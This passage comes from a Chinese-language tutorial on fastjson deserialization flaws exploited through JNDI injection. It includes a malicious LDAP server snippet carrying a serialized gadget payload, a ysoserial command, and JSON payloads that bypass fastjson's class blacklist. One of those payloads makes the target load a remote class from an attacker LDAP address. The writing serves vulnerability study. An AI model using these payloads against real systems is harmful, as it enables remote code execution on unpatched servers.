ZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
         } catch (ParseException e1) {
                  e1.printStackTrace();
         }
         /** Payload2 end **/

         result.sendSearchEntry(e);
         result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

剩下的利用fastjson反序列化漏洞触发JNDI注入完成命令执行。

此种办法构造序列化对象字节码是关键，已有人开发出工具自动生成： https://github.com/frohoff/ysoserial

如java -jar ysoserial-master-30099844c6-1.jar CommonsCollections6 ‘calc’|base64

快速生成“弹出计算器”的字节码。

本文只是介绍了CommonsCollections中的一种利用方式，实际还有很多，可参见ysoserial的源码。

$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

Fastjson各版本差异

<= 1.2.24

fastjson 1.2.25之前版本，只是通过黑名单限制哪些类不能通过@type指定。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl和com.sun.rowset.JdbcRowSetImpl都不在黑名单中，可以直接完成攻击，代码参考上文。

>= 1.2.25 <=1.2.47

fastjson自从1.2.25版本开始，进一步添加了配置项setAutoTypeSupport以及白名单，进一步限制@type的使用，默认该配置项关闭。配置项关闭时，只允许白名单内的类通过@type指定。

此时com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesIpl和com.sun.rowset.JdbcRowSetIm都已经在黑名单中了，但是存在绕过方式，不需要setAutoTypeSupport为true。如果先传入如下JSON进行反序列化：

{
         "@type": "java.lang.Class",
         "val": "com.sun.rowset.JdbcRowSetImpl"
}

java.lang.Class是在白名单中的，反序列化后com.sun.rowset.JdbcRowSetImpl就会被加入到白名单中，剩下的就和1.2.24相同了，直接把两部分整合到一起：

{
         "a": {
                 "@type": "java.lang.Class",
                 "val": "com.sun.rowset.JdbcRowSetImpl"
         },
         "b": {
                 "@type": "com.sun.rowset.JdbcRowSetImpl",
                 "dataSourceName": "ldap://192.168.50.131:9999/Exploit",
                 "autoCommit": true
         }
}

>= 1.2.48

fastjson 1.2.48及之后版本，需要显式调用** setAutoTypeSupport(true)**才会触发漏洞：

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonStr ="{/"@type/":/"oracle.jdbc.connector.OracleManagedConnectionFactory/",/"xaDataSourceName/":/"ldap://127.0.0.1:1389/ExportObject/"}";
JSONObject json = JSON.parseObject(jsonStr5);

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesIpl和com.sun.rowset.JdbcRowSetImpl都加入了黑名单中，oracle.jdbc.connector.OracleManagedConnectionFactory是新挖掘到的JNDI Gadget，原理和com.sun.rowset.JdbcRowSetImpl类似，就不深入讨论了。